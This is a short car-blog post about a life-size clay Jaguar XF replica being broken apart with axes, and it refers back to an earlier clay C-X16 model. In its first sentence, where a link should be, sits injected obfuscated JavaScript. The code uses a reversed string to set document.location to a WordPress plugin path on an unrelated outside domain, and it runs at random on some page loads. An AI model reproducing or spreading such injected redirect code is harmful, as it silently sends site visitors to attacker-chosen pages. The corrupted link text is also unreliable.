Jaguar XF. Deconstructing Art

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You may recall the life-size clay replica of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/jaguar-c-x16-design-week-clay-nation/” target=”_blank”>Jaguar C-X16 we brought you a couple of weeks ago, constructed with a fair amount of the natural resource, aany number of hours, and an almost inhuman amount of patience. So you can just imagine how long the XF saloon version took.

Turns out breaking the XF back down again though is a much speedier process. If you just can’t get the full-sized replica into the attic, then all you need are two mates, a couple of axes, and to wait for the inevitable to begin.

Jaguar aficionados and art lovers may want to look away now…